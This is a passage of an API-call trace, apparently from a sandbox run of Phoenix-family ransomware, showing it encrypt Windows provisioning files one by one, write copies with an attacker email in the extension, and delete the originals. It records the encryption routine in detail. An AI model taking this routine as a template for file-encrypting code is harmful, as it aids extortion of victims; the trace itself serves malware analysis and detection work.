	[0253.958] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2d0) returned 1
	[0253.958] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2d0, lpOverlapped=0x0) returned 1
	[0253.959] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151500) returned 1
	[0253.959] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.959] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.959] CryptDestroyKey (hKey=0x151500) returned 1
	[0253.959] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.959] CryptDestroyKey (hKey=0x151440) returned 1
	[0253.959] CloseHandle (hObject=0x2c8) returned 1
	[0253.959] CloseHandle (hObject=0x2b0) returned 1
	[0253.959] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\531__Connections_Cellular_IM3 (Indonesia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\531__connections_cellular_im3 (indonesia)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.960] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.960] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.961] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=779) returned 1
	[0253.961] CloseHandle (hObject=0x2b0) returned 1
	[0253.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.961] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.961] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.961] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.961] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.961] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.966] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151500) returned 1
	[0253.966] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.966] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x30b, lpOverlapped=0x0) returned 1
	[0253.970] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310, dwBufLen=0x310 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x310) returned 1
	[0253.970] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x310, lpOverlapped=0x0) returned 1
	[0253.974] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151780) returned 1
	[0253.974] CryptSetKeyParam (hKey=0x151780, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.974] CryptEncrypt (in: hKey=0x151780, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0, dwBufLen=0xb0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xb0) returned 1
	[0253.974] CryptDestroyKey (hKey=0x151780) returned 1
	[0253.974] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x162, lpOverlapped=0x0) returned 1
	[0253.974] CryptDestroyKey (hKey=0x151500) returned 1
	[0253.974] CloseHandle (hObject=0x2b0) returned 1
	[0253.974] CloseHandle (hObject=0x2c8) returned 1
	[0253.974] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\532__Connections_Cellular_Orange (Armenia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\532__connections_cellular_orange (armenia)_i0$(__mvid)@wap.provxml")) returned 1
	[0253.975] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0253.975] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.976] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=867) returned 1
	[0253.976] CloseHandle (hObject=0x2c8) returned 1
	[0253.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0253.976] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0253.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0253.976] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.976] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0253.976] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0253.977] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1517c0) returned 1
	[0253.977] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0253.977] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x363, lpOverlapped=0x0) returned 1
	[0254.123] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370, dwBufLen=0x370 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x370) returned 1
	[0254.123] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x370, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x370, lpOverlapped=0x0) returned 1
	[0254.124] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x151380) returned 1
	[0254.124] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.124] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.124] CryptDestroyKey (hKey=0x151380) returned 1
	[0254.125] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.125] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0254.125] CloseHandle (hObject=0x2c8) returned 1
	[0254.125] CloseHandle (hObject=0x2b0) returned 1
	[0254.125] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\533__Connections_Cellular_Orange La Réunion (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\533__connections_cellular_orange la réunion (france)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.126] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.126] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.127] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=721) returned 1
	[0254.127] CloseHandle (hObject=0x2b0) returned 1
	[0254.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.127] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.127] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.127] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.127] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.128] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x151100) returned 1
	[0254.128] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.128] ReadFile (in: hFile=0x2b0, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d1, lpOverlapped=0x0) returned 1
	[0254.130] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0254.130] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.130] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0254.130] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.130] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.131] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.131] WriteFile (in: hFile=0x2c8, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.131] CryptDestroyKey (hKey=0x151100) returned 1
	[0254.131] CloseHandle (hObject=0x2b0) returned 1
	[0254.131] CloseHandle (hObject=0x2c8) returned 1
	[0254.131] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\53__Connections_Cellular_Mascom Wireless (Botswana)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\53__connections_cellular_mascom wireless (botswana)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.132] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
	[0254.132] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.133] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2e0fdb0 | out: lpFileSize=0x2e0fdb0*=726) returned 1
	[0254.133] CloseHandle (hObject=0x2c8) returned 1
	[0254.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0254.133] GetFileAttributesW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0254.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0254.133] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.133] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e0fd50 | out: lpNewFilePointer=0x0) returned 1
	[0254.133] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0254.134] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fd08, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd64 | out: phKey=0x2e0fd64*=0x1513c0) returned 1
	[0254.134] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.134] ReadFile (in: hFile=0x2c8, lpBuffer=0x3096020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e0fd8c, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesRead=0x2e0fd8c*=0x2d6, lpOverlapped=0x0) returned 1
	[0254.136] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0, dwBufLen=0x2e0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0x2e0) returned 1
	[0254.136] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x2e0, lpOverlapped=0x0) returned 1
	[0254.137] CryptImportKey (in: hProv=0x1267b0, pbData=0x2e0fcfc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e0fd68 | out: phKey=0x2e0fd68*=0x1515c0) returned 1
	[0254.137] CryptSetKeyParam (hKey=0x1515c0, dwParam=0x1, pbData=0x2e0fe10, dwFlags=0x0) returned 1
	[0254.137] CryptEncrypt (in: hKey=0x1515c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0, dwBufLen=0xc0 | out: pbData=0x3096020*, pdwDataLen=0x2e0fd28*=0xc0) returned 1
	[0254.137] CryptDestroyKey (hKey=0x1515c0) returned 1
	[0254.137] WriteFile (in: hFile=0x2b0, lpBuffer=0x3096020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2e0fd70, lpOverlapped=0x0 | out: lpBuffer=0x3096020*, lpNumberOfBytesWritten=0x2e0fd70*=0x172, lpOverlapped=0x0) returned 1
	[0254.137] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0254.137] CloseHandle (hObject=0x2c8) returned 1
	[0254.137] CloseHandle (hObject=0x2b0) returned 1
	[0254.137] DeleteFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\540__Connections_Cellular_Orange (Dominican Republic)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\540__connections_cellular_orange (dominican republic)_i0$(__mvid)@wap.provxml")) returned 1
	[0254.138] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2e0fe10 | out: pbBuffer=0x2e0fe10) returned 1
